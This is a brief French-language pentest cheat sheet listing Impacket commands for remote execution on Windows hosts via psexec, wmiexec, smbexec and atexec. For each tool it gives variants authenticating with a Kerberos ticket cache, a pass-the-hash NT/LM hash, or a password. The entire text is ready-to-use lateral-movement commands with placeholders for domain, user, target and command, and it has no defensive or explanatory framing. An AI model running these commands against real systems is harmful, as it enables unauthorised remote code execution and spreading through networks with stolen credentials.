PsExec
Avec un TGS
bash
export KRB5CCNAME=truc.ccache
impacket-psexec -k -no-pass $domain/$user@$targetAvec un hash
bash
impacket-psexec $domain/$user@$target -hashes nt:lmAvec password
bash
impacket-psexec $domain/$user@$targetWmiExec
Avec un TGS
bash
export KRB5CCNAME=truc.ccache
impacket-wmiexec -k -no-pass $domain/$user@$targetAvec un hash
bash
impacket-wmiexec $domain/$user@$target -hashes nt:lmAvec password
bash
impacket-wmiexec $domain/$user@$targetSmbExec
Avec un TGS
bash
export KRB5CCNAME=truc.ccache
impacket-smbexec -k -no-pass $domain/$user@$targetAvec un hash
bash
impacket-smbexec $domain/$user@$target -hashes nt:lmAvec password
bash
impacket-smbexec $domain/$user@$targetAtExec
Avec un TGS
bash
export KRB5CCNAME=truc.ccache
impacket-atexec -k -no-pass $domain/$user@$target $commandAvec un hash
bash
impacket-atexec $domain/$user@$target -hashes nt:lm $commandAvec password
bash
impacket-atexec $domain/$user@$target $command